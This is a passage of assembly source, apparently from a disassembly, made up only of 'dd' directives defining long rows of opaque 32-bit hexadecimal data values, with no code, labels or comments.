		dd 0B1C76277h, 0F0F1805Fh, 0D200B347h, 6420BE43h, 3F63F4DAh
		dd 0D7874AC9h, 806518C1h, 0EEB5CD19h, 0EB0AEC00h, 0F872CE7Ch
		dd 3EDFF63Fh, 17DB4BEh,	8CB7EA4Ah, 0FD4C5AD1h, 9117C014h
		dd 84F25201h, 88635429h, 6440DAC5h, 560EC5h, 317E1137h
		dd 8498667Fh, 4676AE06h, 0E0E43Eh, 0D83036A7h, 1A129B33h
		dd 0B7FEF8ECh, 920E7B05h, 0A41E932Eh, 0CC4E4080h, 14893B8Fh
		dd 3851CF6Ch, 43A28731h, 62508EE0h, 206F60C4h, 8560B2h
		dd 8202775Dh, 9B640670h, 79195160h, 413FFC3h, 0C1F753F0h
		dd 63460048h, 18CE7Ah, 0F1AD702Eh, 23EB77B8h, 2AD8ED13h
		dd 2C2411h, 4AFE8E13h, 353DF73h, 95D1BC45h, 4024E2B7h
		dd 48079C72h, 0F4F05A47h, 0D5977Eh, 0AE41ECA6h,	0CA93CE36h
		dd 94B37B12h, 4680041Dh, 4D47E4F0h, 350F0001h, 783929CDh
		dd 0E301E641h, 0D2CCABF7h, 3824B75Ah, 6CCF1EEBh, 724808Ch
		dd 218EF6BAh, 3A08854Dh, 70719C74h, 0C8D89840h,	182DDA5Ah
		dd 4CF30E62h, 0F501F6A8h, 0B513B0D5h, 0ED300A9Ah, 9A200C8h
		dd 0AA27C326h, 0B101E296h, 0B00DCE22h, 0A8800BDDh, 0B2385065h
		dd 0A284DB9h, 3018CCFh,	78F44E90h, 0A9C032C7h, 9EC5004Fh
		dd 0CBFA7101h, 880E91ACh, 0F7265AFh, 0F9407D29h, 0B93B1E77h
		dd 82C20233h, 50B6FFFCh, 0FEB32040h, 0A0C72A00h, 0F1CB4315h
		dd 61B0D2h, 56A27862h, 0DF5F1B24h, 53E90103h, 0F82C1FEBh
		dd 99077Fh, 0BAEAC84Eh,	0DCAAA6E1h, 84021EF2h, 8E8B7DD5h
		dd 47D760FBh, 6F1039BEh, 2C51A60Fh, 0EFE6EEA0h,	9570ADA0h
		dd 7981F000h, 0E92B0F49h, 0ECF4032Ch, 0FF903C72h, 85F54007h
		dd 9D20B303h, 600421h, 0FE1F79CDh, 0CF26A356h, 6E6BB503h
		dd 916ABA03h, 0B820B45Fh, 99F0248Eh, 158F3B98h,	3940A48Dh
		dd 3560016Dh, 0F563C407h, 0BF8C3Eh, 0E2F2D7F9h,	46ED1D8Ah
		dd 2D9E0097h, 57CA66EAh, 4077D800h, 7DB681ECh, 3ED32461h
		dd 1EDE80D8h, 6606966Bh, 0FAB16501h, 10778416h,	800DC343h
		dd 0F5A3DDh, 48EDB9D6h,	11498A82h, 0D974B7E2h, 0D23F6D01h
		dd 0F19AA4A2h, 3EBA60CCh, 5881A835h, 70EAFA01h,	65B7EC40h
		dd 98775303h, 0E928E934h, 0B880BCD3h, 540CBA89h, 790B5B82h
		dd 0FCF6CDA0h, 6A670545h, 7C308015h, 80909A99h,	5A61EF12h
		dd 0F6232900h, 3E5CF893h, 3E3D3BD5h, 0ECBBA4h, 3A3079DEh
		dd 0C575AD9Ch, 0E8FA4900h, 8C9F6BA5h, 39C4980Eh, 5A808025h
		dd 7E452A1Ah, 77309C35h, 878D4086h, 98EC0373h, 9ECB053Ah
		dd 0EEBA800h, 2E02EAF7h, 0B0CC5180h, 0E24C24h, 8E490C35h
		dd 0D537CBA4h, 2E7E0A1Fh, 5BD48C9h, 0E80062Ch, 7E805E8Ch
		dd 9DD012B6h, 34E44C08h, 0D3A10E39h, 3DF830CEh,	2C6B161Ch
		dd 3B85E807h, 9E07F550h, 0E0FF0037h, 0C877554Dh, 741C5BC9h
		dd 0EB804FFBh, 7DC07125h, 2C6CC0EEh, 91E47622h,	8C1D5Ch
		dd 3B93E75Ah, 78CECB7h,	37804164h, 0EF7E3013h, 0F9054B46h
		dd 2FC19A19h, 33AB3080h, 18389823h, 0D8732B91h,	0C900BF12h
		dd 3A50F536h, 2EC6D666h, 8010F0EEh, 77AFFC65h, 2677A1C3h
		dd 184CA530h, 114245h, 6BCF4719h, 0FF1033B6h, 2CABA00h
		dd 14B173C8h, 76A4A08Ch, 0A81900E7h, 0B649F461h, 7B01F92Fh
		dd 0B815A16Ah, 88807EE0h, 0A3A46F3Eh, 0D105AAB4h, 0EAE45B7Fh
		dd 5E507880h, 0EDBA0065h, 0A49AFE55h, 471709DEh, 1812719Ch
		dd 0DA91C821h, 0B08020h, 0DDB5FECEh, 44C87967h,	0BAF24800h
		dd 995BE9Eh, 31CB128Bh,	14F461F0h, 84EE87Dh, 29ACFE50h
		dd 4DF22000h, 9C90641Ah, 58CC985Fh, 983A9312h, 43C4100h
		dd 74B655BBh, 0D6BBD1Ah, 18CC859h, 9CDA3B38h, 4EB34807h
		dd 4DF40D0h, 7674DE83h,	88283307h, 0A530B0BFh, 79E21D6Ah
		dd 2BC50326h, 7D5360D4h, 394F8B90h, 730260EBh, 67FF800h
		dd 0CADB9F62h, 3AEE608h, 16A52C7Ah, 782E97BFh, 0EF42D468h
		dd 61988FE4h, 0FCA2DBADh, 870DD88Eh, 796F741h, 2C42365h
		dd 0E4C04611h, 59A5E094h, 92307CD1h, 75D00378h,	4767B6A6h
		dd 0EF5E4380h, 0C06A5900h, 0C9A0562h, 0C1B00024h, 0FCF6A772h
		dd 840BE24Eh, 80CDA333h, 2B57CC0h, 0AE7631A0h, 0DC2DA6E0h
		dd 3300ADF4h, 9F5B1DBh,	1E1898h, 0FA02B424h, 380A48ACh
		dd 38320D4Ah, 140458Dh,	0FEA86B47h, 0E90CE00Dh,	0AC3F0773h
		dd 0E3DC0B37h, 0DD1CA0CCh, 7DFBE82h, 84128A2h, 38C8D03Fh
		dd 60C00C1Ch, 0CB6A9CBCh, 0CC065D6Eh, 0F678B600h, 0FA7B438Ah
		dd 0E3BF9803h, 0E8826E10h, 2B39587h, 462ED50Dh,	50E2279Ch
		dd 90A7982Bh, 0D0B4644Fh, 7DA77830h, 880EDF74h,	0C0EA867Ah
		dd 8C2A1B46h, 33312CDAh, 8DAF00E4h, 284DADC4h, 0DEF79502h
		dd 64F42E29h, 0C510984h, 0C446A40Fh, 345FB8C0h,	781246Bh
		dd 0EBD714C4h, 49BC12Ch, 0A6E87110h, 9486D838h,	0E12A54h
		dd 2EE1C92Ch, 0B63EB313h, 0DA8A3A0Bh, 3C10B897h, 231F0010h
		dd 0F047C459h, 6926A556h, 810960ACh, 0F494D5h, 0ED244177h
		dd 6FCCA78Ch, 0A6295D00h, 98F07158h, 85C100FCh,	2B8BA392h
		dd 4012D9F3h, 0AC305B19h, 14EC33B5h, 0B0B0478Ah, 71506C24h
		dd 0B03309h, 314B7BB0h,	9E32BAh, 1F7551C7h, 2CEE5594h
		dd 84E7CD0Eh, 803F49ADh, 4AE7E44h, 891F0015h, 316D6ECCh
		dd 0A2026436h, 90B81E53h, 84ACE086h, 0A8F9034Ah, 809A8A5Bh
		dd 7094B299h, 0E00E6FFh, 0B7BED1E7h, 44D8E62h, 0EF1255A6h
		dd 0F6708109h, 79D0A699h, 0EA8A5700h, 1A0708D7h, 0B6FAB8FCh
		dd 0AE8724C0h, 50D81963h, 4826A87Bh, 5AD0033Bh,	3C6A73C4h
		dd 0FD37A998h, 16709A3Fh, 6C0233DCh, 48A69C57h,	182E26E4h
		dd 0B0B8F23Eh, 5B04C032h, 7CFA28Dh, 0F43068C7h,	0C68E16h
		dd 1A1CB8A7h, 38348986h, 826AD500h, 90C1C0FBh, 0B94F3B18h
		dd 3000F7BAh, 0FF20F5B0h, 813274Eh, 541429A9h, 49804D70h
		dd 7E60432Ch, 4DB69F01h
		dd 0A4A1E63Eh, 20A6DECh, 0D221397Fh, 6C510B8Bh,	0B2621203h
		dd 9548B815h, 94AD01D9h, 8F1B02BEh, 1EE03F6Fh, 823F06F7h
		dd 71CE13DAh, 7F01B899h, 67119B6Ch, 180C9875h, 887001E2h
		dd 1FBFFC4Eh, 0C78540A8h, 60A62E8Ch, 451E20EEh,	0C64B867Bh
		dd 36A90068h, 48CBFD26h, 0A0014DFh, 29A76BC8h, 0CE07A2A9h
		dd 1C5A4389h, 0C06862C3h, 9636E3h, 0F7ED7888h, 8C77CA92h
		dd 0A8ECEF30h, 5998ADA8h, 0B752417h, 5C998A74h,	8DD2BC00h
		dd 0ED075DDFh, 0F9B8D3F8h, 0F660B047h, 27253Ah,	0FEC69321h
		dd 0E4F563F3h, 54F97900h, 0E73AD2BEh, 0A0B260FBh, 0DBCA4CDDh
		dd 874F4600h, 0B35A5BFFh, 47E400F4h, 7A6FF018h,	504C0351h
		dd 5E7B0194h, 0B4E613DBh, 0CD00F028h, 0F25CA4CBh, 142787E3h
		dd 1CD800D3h, 0B952766h, 92051291h, 38201089h, 4CE8610Ah
		dd 941B4F02h, 522602A0h, 7F090024h, 0A1C1DCA2h,	0E60373DAh
		dd 9CB1C78Dh, 0C4DF1DFh, 1C525430h, 0BCA5B0FEh,	8097229Dh
		dd 3935B6F3h, 567A54B1h, 7770DC01h, 4D142132h, 24007433h
		dd 0FA848D1Fh, 5B0B7765h, 0A080A50Dh, 0DFE215A8h, 0F8070059h
		dd 359A78BBh, 8201C3EBh, 99443F16h, 0B8EF2790h,	0A06181h
		dd 2113E15Ch, 40BB33E5h, 0ED4EA100h, 0F229FEB1h, 992C00EAh
		dd 0CFD6EC96h, 8CE23D4Dh, 8B874200h, 0D96D077Bh, 0C875025Ah
		dd 0B35EF9FDh, 8D006374h, 0F5E9DD98h, 5A3D0057h, 4314C2A4h
		dd 580035F0h, 5DCD2261h, 7DE9FCB4h, 1BA500C1h, 3580682Eh
		dd 0E6F42651h, 0B4022003h, 0E0D0C999h, 0BC6DCBh, 455C10AEh
		dd 6CEFB697h, 0A3807061h, 99F4592Bh, 7AC30019h,	7D358C05h
		dd 7B00A45Bh, 6FD1883h,	38EBD40h, 80D1D2E2h, 36A0A7DCh
		dd 0FF1D7224h, 0CB9FAB10h, 0E1F0A840h, 0F77009h, 5AE358BEh
		dd 0C89EC1DFh, 0B13F6800h, 2D8FEC51h, 0BB2138BCh, 577CF7h
		dd 0DC05E80Fh, 0DDBA612Ah, 0A700DAF2h, 6946672Ch, 4FCA3Ch
		dd 0F5B4E78Bh, 0A6E2366Fh, 0C540D100h, 5FF97D0Bh, 8CE500B5h
		dd 29EC0CFDh, 0D7FA73C8h, 1F6AC607h, 0B591A9BAh, 8D70A4B1h
		dd 2E79ACh, 50824A0Eh, 53F1B093h, 0F64FF000h, 7D33E983h
		dd 596E3AD6h, 0F5DDE380h, 6FF3A3Dh, 0E4E79A00h,	0FDA7E522h
		dd 669828D0h, 0BAFB03B6h, 4BB8149Eh, 0F47F26D9h, 0CB7A340Bh
		dd 325AB107h, 73D01AC7h, 20339Ch, 87404689h, 94142B2Eh
		dd 41562200h, 1312AA34h, 18D102AFh, 98EF5D73h, 5D47660h
		dd 2C00907Eh, 27076B0h,	47CCDAh, 222F8F1Ch, 9C6B823Ah
		dd 76525D00h, 1FC891CFh, 0A09E000Fh, 0CD536A04h, 0D90051BFh
		dd 94F10A67h, 0E08DC10h, 1A34557h, 0C08D2680h, 2E096D16h
		dd 801A63AEh, 0E51F623Fh, 6BB500AAh, 492D910Eh,	0D43B5165h
		dd 0A63F1F5Dh, 0EB929880h, 0F8D1F36Dh, 39550064h, 0A1C39ADFh
		dd 0DE000352h, 0CFA0FB62h, 21821Eh, 765D0E79h, 0D6EFF640h
		dd 50B14A01h, 0D9B24253h, 0CA693880h, 9FF03715h, 47009375h
		dd 300E3383h, 4EFD13h, 222B8ABh, 0F3A3C929h, 89001D73h
		dd 5DC1CD8Dh, 0E19E680h, 166C7B81h, 0ECCF1C00h,	3600543Eh
		dd 0F084607Dh, 0F3483Ah, 852E5F39h, 9DAF70CDh, 7BABB800h
		dd 0A36B58E6h, 0F5C007D8h, 5F0504A1h, 37EF3980h, 0DB039853h
		dd 0CA2CDDE8h, 6FC7E0FFh, 0C96407AEh, 80D3EC04h, 1DBBE7C4h
		dd 882CE6F4h, 0E80222A0h, 0E01ACE59h, 7B4F82Bh,	0B121F342h
		dd 7009FE6h, 0BE8E35AEh, 1AB2E00h, 24706020h, 0CC60085h
		dd 48FE282Bh, 6807CCF0h, 3DF418BDh, 793AC00Fh, 6A1735h
		dd 306E50FBh, 0C1E13399h, 9B3DF00h, 79908AD9h, 528A414h
		dd 0F4167E42h, 6C26D0ABh, 350F6A5Ah, 4083122Fh,	0AAB3D7F3h
		dd 0E873071Dh, 0B04B8F3Ch, 2AA148F9h, 4ACEB501h, 0BC3170A8h
		dd 0E3F4BF61h, 8A513E98h, 43D68787h, 16AAC728h,	893E4075h
		dd 5941002Eh, 0E098DFE3h, 310A47Eh, 2E3DB312h, 0C7A84F5Bh
		dd 0C9001D38h, 0C4041EFFh, 0AE68F3h, 833073C6h,	62A578C0h
		dd 54DA9E00h, 3A927A8h,	0EA7901B3h, 8074FAAEh, 0BAC7F046h
		dd 0AFDCA001h, 4FE20247h, 24562880h, 0DA7E2FA6h, 9D018DF6h
		dd 0E1577614h, 38EC5070h, 0B9C10A24h, 4098782Ch, 0CFB38DB4h
		dd 0BCDD8400h, 4640E34Eh, 34877789h, 208EFEA7h,	82E953ACh
		dd 71AC4430h, 0F1D7EDEh, 64411056h, 0E02955C7h,	0D40FB85Ch
		dd 66340301h, 9EB040Ah,	0ABBCFCh, 942AE686h, 2E8E0FE4h
		dd 0AD50EF1Dh, 8BC62100h, 0FE37D510h, 2360B19h,	8800E94Ah
		dd 0C9BAC108h, 2D855100h, 8321B79Bh, 0E99700C5h, 7440891Ah
		dd 2403BDC0h, 0D35AAF60h, 0CA810094h, 9B04D545h, 5D3F396Ch
		dd 44B600B3h, 0C466EC08h, 0A3E51CD8h, 0A75E814Ch, 0C8E12DF9h
		dd 0B37BCC5Fh, 0EFAF6700h, 5E16A43Ch, 808A0022h, 29C752D3h
		dd 0F9F2597Ch, 1E153Fh,	7779A491h, 0BBD7D9h, 3EC8E67Ah
		dd 13689489h, 0BA93A000h, 4B149245h, 82FC11h, 3AD7CBC2h
		dd 21CCD82Ah, 25396090h, 0D4F0C144h, 9AEE00AEh,	272C909h
		dd 371417F7h, 82F0305Fh, 0A0D59252h, 0B2940EC4h, 0E5DC3E68h
		dd 45E051E8h, 50F07089h, 0D50066B6h, 0E1294FB7h, 0F8A960F2h
		dd 0EE2700FEh, 6E25D0E5h, 0B4FC8253h, 6DA1B00Fh, 0C43D00D1h
		dd 8E0770h, 8FABCDBh, 591C9A0Ah, 19F99B01h, 0AE3951E1h
		dd 28A8388Fh, 22BA9D80h, 0AB60B636h, 0F05EA998h, 5DD0093h
		dd 7B0E8678h, 0CC00C14Fh, 423AF914h, 0FCE587D7h, 44B1002Fh
		dd 418A2DDAh, 9D095170h, 80B52B5Ch, 0F412682Ch,	204700B8h
		dd 2DB6C83h, 6D00EE7Bh,	0D63C3AA2h, 0EC2C7350h,	0B00E78D2h
		dd 111500B6h, 0BD9A7EADh, 2B504B7Bh, 907FC9Ch, 96FADE29h
		dd 87275980h, 6E160083h, 6CB8EAE6h, 8F39C864h, 8722648h
		dd 0F75EE100h, 0C6653Ch, 5C12BFFAh, 8E42B1E8h, 0A45413B0h
		dd 6F142190h, 1289CB56h, 740216AAh, 83E09ADEh, 0A8A19DD0h
		dd 0F69610ACh, 8212023Ah, 35D1E97Ah, 0D06E1940h, 810121FCh
		dd 0B60B90Ch, 796014A1h, 9E8A0040h, 194DA72Ch, 8B24CF6Ch
		dd 0E4281C63h, 0F8429C00h, 0AA3F12C9h, 0CEA00003h, 91DC05Ah
		dd 0C400B039h, 4AFA77B2h, 4D4F10E5h, 630FEC8Eh,	0E480526Bh
		dd 0CBD6124Bh, 4849C078h, 0F50D0070h, 931F967Ch, 0C84F5054h
		dd 0C65F0769h, 0DC562861h, 0F1003110h, 26F690ACh, 0F4159Ch
		dd 6D453518h, 0FCEB7124h, 0AADBBC06h, 14E45C56h, 0B453FEDCh
		dd 80E8342Bh, 0B513A70Eh, 0FC00BCA4h, 5F4561F7h, 0DF89BDBFh
		dd 7426003Ah, 14B27D43h, 0F0A29728h, 5DAF0600h,	0B005E3F8h
		dd 0C493506Dh, 0F1260098h, 8B94852Fh, 90021D65h, 46B90D59h
		dd 0F8A0A0C1h, 30C8BB41h, 4C1BE25h, 6348A516h, 0ADCF86C8h
		dd 0C79D04F9h, 97DCC577h, 0C9C61408h, 5EEEDCE4h, 0A7321613h
		dd 102E1C01h, 88848F9Dh, 0BE91D0B8h, 5F5CFDC1h,	23A04Ch
		dd 0FF4DCAC5h, 0D5A19C2Dh, 0BD0F607h, 885D7714h, 2770A600h
		dd 0A5CBE2F9h, 41E500B4h, 0BB86504Fh, 347DEE1Fh, 0FA3ABCC0h
		dd 2C92BEFCh, 37C2611h,	41F456Bh, 0C86864EDh, 41C0BCD8h
		dd 45FB4850h, 6D1306D1h, 218CF90Fh, 0BE2E17F4h,	0C6002C36h
		dd 0D6341F7Dh, 319D2B8h, 10F39CECh, 0C58A4E88h,	3C4B4F00h
		dd 9B1382ABh, 4A280017h, 83F93145h, 0CE00E45Eh,	0F52D37C3h
		dd 2439073Ah, 4AD8F264h, 86802520h, 0C73A7362h,	1F38D800h
		dd 8DB0F34Ah, 0FCF40D06h, 0ECC949A3h, 3D141885h, 1ACCC9Ch
		dd 748DDE2Eh, 0E84088D3h
		dd 0AA3EDA4h, 6D05FB0Eh, 711C04FCh, 707441DDh, 11E8965Ch
		dd 16590AA7h, 20D46004h, 43E02582h, 220001F6h, 76F14AF4h
		dd 0D69500D9h, 8DAE33B6h, 0D001D507h, 151EA9B9h, 4C4D3D62h
		dd 0F4308031h, 1E460077h, 409F3AABh, 0B8007022h, 1FE0D351h
		dd 0E01112DCh, 0EFCB020Fh, 95E6C0DDh, 98F80663h, 6D3DF5AEh
		dd 24290051h, 3B41D280h, 5E97182h, 0D4620133h, 29B38057h
		dd 4483A9Dh, 82560018h,	0FDF35DA3h, 0DB5B0093h,	1FE41CA9h
		dd 8C004A84h, 1D865888h, 3BBFAA2h, 5ADBA11Ah, 17F3CDD6h
		dd 0D700217Eh, 0B794A522h, 707C4Eh, 0BA8DB8A7h,	60C9D503h
		dd 0F1667100h, 0B122DA7Ah, 0F08F7A24h, 4B907E7h, 8090D2BFh
		dd 161C8C3Fh, 0DE34F00h, 34841856h, 0B6118DCh, 0C2EB78F6h
		dd 0BBC31318h, 64B1966h, 0FA98E58Ch, 2E002026h,	38FC6C60h
		dd 2FA9D7h, 0E80F63Bh, 4D7C8925h, 0F5B63E00h, 168142C0h
		dd 4E22009Bh, 0AB721A20h, 0F713E592h, 0FEE1864h, 4BA040B8h
		dd 6BD64598h, 8B0A2B00h, 551E6402h, 894C075Fh, 806050ADh
		dd 6BBC8038h, 0BD025A16h, 1805C1Eh, 0C68B746Ah,	0A51E4CCh
		dd 411C7A53h, 0A8B10094h, 18A2E1D9h, 61B880E3h,	7AC76042h
		dd 0C0A01D3h, 3A49691Fh, 0A9E0589Ah, 0B28FF400h, 0B187A11Eh
		dd 4A5F002Eh, 8A7F7DB7h, 1602906Dh, 0F6A88417h,	36F0819Ch
		dd 2210E3FEh, 34013CE7h, 209FF27Ah, 0E1811074h,	4FA2D52h
		dd 7B7FF099h, 0D8CD3130h, 1737E455h, 0F03D54D4h, 0CC00986Dh
		dd 1C955024h, 0AD4544h,	550258F3h, 0C3C0A6A2h, 0DC53F22Ah
		dd 0A3C20800h, 12693927h, 23BF6B9h, 0A2037232h,	0A4986F35h
		dd 561D190Ah, 90F03C8Dh, 6A6CB1h, 34B8E1F3h, 51EAECC0h
		dd 34AE56Bh, 12531BB6h,	2C9A38E0h, 5003070h, 4E6AB926h
		dd 4BC32Ch, 0BEA7B891h,	0A62351F7h, 6218C900h, 37BF260Dh
		dd 5073006Dh, 4B1AE4C3h, 5F0B01B0h, 0AF4146h, 95F508DAh
		dd 194E016Dh, 0F950371Eh, 0B5A440ECh, 6000E17Ah, 80799C25h
		dd 3D94C381h, 8400A136h, 894D97AEh, 4000659h, 0CB734D2h
		dd 0E330BEh, 0BB0758B0h, 8AE6AE14h, 95CBC1C0h, 3BFA50D3h
		dd 76807A92h, 685F66Fh,	0F2986954h, 20106C13h, 118D0807h
		dd 74AB00CBh, 37C6E91h,	18574409h, 0FE811445h, 107C2424h
		dd 0EF92BC0Eh, 411E921Bh, 52E66B07h, 6890FE34h,	0E4924CEBh
		dd 0CE6609ECh, 2C00B345h, 51C59376h, 35E85D0Fh,	9DC78091h
		dd 87855Bh, 532C884Ah, 3B4316AFh, 0AA9A3D07h, 68A0BFF5h
		dd 0F074ADA7h, 1C2A136Fh, 7633009Bh, 0A98E9259h, 5C015377h
		dd 54DF3A6h, 0ACD434A0h, 0C7F000B4h, 2199323Ah,	5E063C80h
		dd 67E66257h, 34953D38h, 0FBD2DC0Bh, 0D8466201h, 1DEAD0DEh
		dd 73CDBE0Eh, 0F20BA00Dh, 347051Ah, 55DD75DBh, 0A2A04087h
		dd 0E900F0D9h, 57F6CA35h, 7547491h, 0DFEB0AB9h,	539C706Fh
		dd 0E00119ECh, 0A1DB60EEh, 0AF00C4Ah, 3260022h,	30643F40h
		dd 0A9005CBBh, 0F28EFE33h, 7EAE32h, 0BA9775CDh,	9C215A70h
		dd 649A1A00h, 4B753D0h,	0CAA61EC1h, 56F03B9h, 8BE07B3Ah
		dd 80007522h, 95DA1678h, 7826A2D9h, 0B8401D71h,	4D584EB2h
		dd 90F56243h, 77925FD8h, 530B5C0Eh, 55BF83CAh, 0C7DF982Bh
		dd 0D7C82C9Bh, 729C032Dh, 65B879F4h, 2C01314Dh,	0A090711Bh
		dd 0EDEC1873h, 0D1F624h, 617D0459h, 0A5FBFC9h, 84163800h
		dd 9AF9C380h, 758E00E2h, 0EC88A587h, 0FB38E033h, 0C269807Ch
		dd 3E58A34Dh, 642E2C6h,	330AE6E2h, 16605856h, 6B57E319h
		dd 0F72201C7h, 79679D2Bh, 0EF44F486h, 0DFD228C7h, 0BE30E00h
		dd 0E5BB00ABh, 7C1A9E8Eh, 0E400B880h, 44B310ACh, 5EFE9F1h
		dd 3E980812h, 8636C094h, 0A305B139h, 54FD8576h,	615E8380h
		dd 496B0088h, 0D0D8126Ch, 0AD076EEDh, 0E61CC96Ah, 0BBA976C3h
		dd 0CE2DC810h, 4A7E011Eh, 888A638h, 7A96CC6Fh, 0FAF3A001h
		dd 0D1E8C25Eh, 1DCEB170h, 833EACh, 45D39416h, 9300A7FFh
		dd 28D1D697h, 0E6206D7h, 0DB7ED30h, 4CAECBA0h, 0E8EAF518h
		dd 14002398h, 0C3607CFFh, 9762355h, 5BA298B2h, 8035D5E1h
		dd 71E6E852h, 0FECF64F5h, 3FDC0143h, 0DEC3A10Bh, 0BE0730AEh
		dd 6E770800h, 679F708Bh, 0E17FF2h, 0ED6197FEh, 9BFAA02Ah
		dd 4E00DB79h, 0AFF705B0h, 12680Fh, 360B593Dh, 9080A5E9h
		dd 0F45A2C00h, 0F09A77C6h, 53540009h, 0D949CE8Fh, 97A076DFh
		dd 0E939402Ah, 21E0012h, 0CDF15D9Fh, 69820034h,	0C3B03DA7h
		dd 0F5E4560Fh, 7A2E6200h, 0D5A02FFFh, 0F3BF00AFh, 0DD6393ABh
		dd 9C003618h, 0CA3BD8Dh, 0E76240Fh, 0F8F4CF5Eh,	725BA400h
		dd 0A600502Fh, 0C30BEDCDh, 19FC227h, 0B66AFD8Dh, 0BC561532h
		dd 57ED01A1h, 868BDC64h, 0F709EEh, 3770F123h, 0C2E30241h
		dd 79D7745h, 507DAB80h,	0AE03B45Eh, 0EC183C0Bh,	9BD1D88Dh
		dd 11C91E63h, 0A096039Ah, 30E7CC39h, 82577945h,	9C9A54Ch
		dd 0F49528F7h, 76D200D4h, 0B0876D55h, 0A88D95A0h, 6BB8F700h
		dd 0D58E5ADAh, 135E0E08h, 41ACE433h, 5F0092B0h,	2F259051h
		dd 4C2762E7h, 4600EABAh, 0B38B6D04h, 0EF00B587h, 0DFF889Eh
		dd 0A63D02D5h, 745E07DCh, 231B7F13h, 4D81C91h, 66003002h
		dd 0A64CCA8h, 0B518A3h,	710CA1CDh, 4A5E5B81h, 0EB2C0209h
		dd 0B8807FB1h, 0C3BDAECCh, 0B4780E00h, 0FB7DC19Bh, 1A703CF9h
		dd 86F3DF80h, 38CC6B1h,	50C002E8h, 8A8F2746h, 7DD20070h
		dd 0D4D3CB6Dh, 0CA006529h, 8CF8EF4Dh, 14B061FEh, 0AC1F36E4h
		dd 16F5F0C0h, 0CE7190CBh, 0A0A11C7Ch, 0E1BCF083h, 3A57F403h
		dd 0B01F7561h, 0AE525Bh, 21CF7024h, 0A699D096h,	0C4865F0h
		dd 2ED700B8h, 4BB98B8Dh, 18E439A8h, 767BCF80h, 959C75A3h
		dd 0B777DC00h, 0DF8CFBF1h, 0FCA60035h, 0E46BB947h, 0EEF062CFh
		dd 0E42EB00h, 0A4D38DF1h, 0AFD4075Eh, 806DF92Bh, 60CE822Dh
		dd 22C9B000h, 0D7FA4866h, 6CA409FFh, 0D007761Dh, 60EA2038h
		dd 2200E7BFh, 74FBBEB5h, 945D5DCh, 71DEA964h, 0F3B75801h
		dd 2CD240EAh, 0FA24756Ah, 68008C79h, 58BC7F97h,	0D8356024h
		dd 0B77510FCh, 0DF3D009Ah, 1DA400EEh, 0ACECB22Bh, 0F0930004h
		dd 222831B7h, 28C00F6Ah, 0E02C6EBh, 782A7F84h, 18360094h
		dd 3E42802Bh, 0BF305B31h, 0FBC8F877h, 0FDBB09Dh, 5BA2068h
		dd 2BCB023Dh, 50601706h, 0B43C7633h, 9309809Eh,	0A16A53B8h
		dd 22EE0144h, 0DEF4762h, 944BC1h, 0A44AC5A3h, 283A31E5h
		dd 39E22B81h, 0F7338426h, 19E009BEh, 20F90690h,	4E02EFD0h
		dd 0B00E6B60h, 0C36068A7h, 315500E6h, 69D00DDCh, 50742B4h
		dd 950419E3h, 0AC621E50h, 63C2DE1h, 4ADD2460h, 187CD803h
		dd 0D3EE254Bh, 0BD7A99F0h, 7080F03Bh, 0C6D69E00h, 464F9123h
		dd 0C850EAEh, 0BB005CECh, 8E90D1DDh, 96FACD1Fh,	947AC340h
		dd 0A28025h, 604D1EEDh,	75F774E2h, 84F85Ch, 0C9218BA1h
		dd 0FC8DCCh, 2FB90853h,	0C47601D3h, 99E3405h, 24200BDEh
		dd 979B4Dh, 0C7050EE2h,	0B56CAD81h, 98FBE100h, 8EA45A08h
		dd 47A601BDh, 551C0D75h, 0E3398181h, 37B927DDh,	9AFCD88Bh
		dd 0C33DCF81h, 0CC4189ABh, 0D4E00D0h, 0F8D278B8h, 0ADCA0356h
		dd 4A418A7h, 0FEFD508Fh, 0D5F4D833h, 0E0F58700h, 0CEB62ACDh
		dd 0C45B01F1h, 0E22899A3h, 44A8F479h, 65C17600h, 17509227h
		dd 373F00B9h, 47F6CCA7h, 1203FBB8h, 0F7A26D03h,	0C2FE00B0h
		dd 43CA6976h, 0F1013B72h
		dd 0D633A660h, 1BDCEEF2h, 0FEF51EE3h, 0C3725DC3h, 5E598FFAh
		dd 0A0D9EBD0h, 38EE8400h, 4954A9F0h, 39B000BFh,	95A7B3B5h
		dd 0C300094Fh, 2F7544B2h, 7B5B1B4Bh, 0B43D0FAAh, 98094EFh
		dd 83DBA55Ah, 78BD5E1Ch, 5482EA80h, 7643F8h, 3330082Ch
		dd 6007B747h, 0EE9A8901h, 3E01C9BBh, 0EF2E9D4h,	20CE723Bh
		dd 0BCFBC4C0h, 673AE6FDh, 9200F317h, 0DE4B5457h, 90631A52h
		dd 1B78C000h, 4E3A3FD6h, 0DB03407Ch, 55C94A8Ah,	0DD2D9852h
		dd 6102012Bh, 87B05BF0h, 8AEBF4FBh, 1F283400h, 5809FC72h
		dd 206B0E7Ah, 3B003575h, 4EB0BDDEh, 0C02D5F00h,	54D505D4h
		dd 0C8B09E4h, 1010D113h, 0BB1EE193h, 0FC8291DEh, 809CFE55h
		dd 5C232B4Ch, 14100F17h, 0C200E27Ch, 3835A986h,	0C8F11800h
		dd 0AB17AA6Eh, 43FE3Eh,	0D091DBBDh, 3830F22Ch, 36B9631Dh
		dd 73B08F43h, 44C1D25Bh, 28FC0164h, 0C07C96A3h,	0C2D02005h
		dd 0AFE7AB00h, 0FC893F9Dh, 0E35F1D9Bh, 293B405Ch, 4BF334F2h
		dd 80F11301h, 0F6CE79Ch, 0A45058B0h, 53018F97h,	0F18DBF05h
		dd 56E401DBh, 9A80A04Fh, 0D1C7242Fh, 48583084h,	3CF23818h
		dd 2500B090h, 0A99A8E3Dh, 0EC5E65C5h, 6A1837F1h, 192D17CEh
		dd 211F8400h, 9B020E2Eh, 795922EDh, 0AD7AC04Ah,	0D2670ED8h
		dd 0EC037B5h, 48E53106h, 35BC5050h, 3A324400h, 0CB6CC2AAh
		dd 0F439488Ch, 1D1E27C1h, 3721048h, 2A670226h, 5B6B02BEh
		dd 58EE9F60h, 8D20E504h, 71C09C74h, 0DFB85Ah, 0EA6A76D5h
		dd 8167D368h, 65BBCE03h, 0E08ED86Eh, 94E7C10h, 35FADE8Ah
		dd 5C331800h, 3700B096h, 4514EF01h, 4FA688h, 320CE13Eh
		dd 8190CF1Ah, 0AC86EA06h, 206AF4h, 0F09C3FD5h, 0B7E6632Dh
		dd 3BA17E07h, 288DDAEh,	6118276Ch, 0E4FD9FC0h, 39B830Ch
		dd 0FEFB5025h, 0F49096h, 8733A243h, 817B6255h, 140C6D00h
		dd 0ADE39523h, 0EFC70051h, 0BEE57E98h, 24003884h, 784EFE8Bh
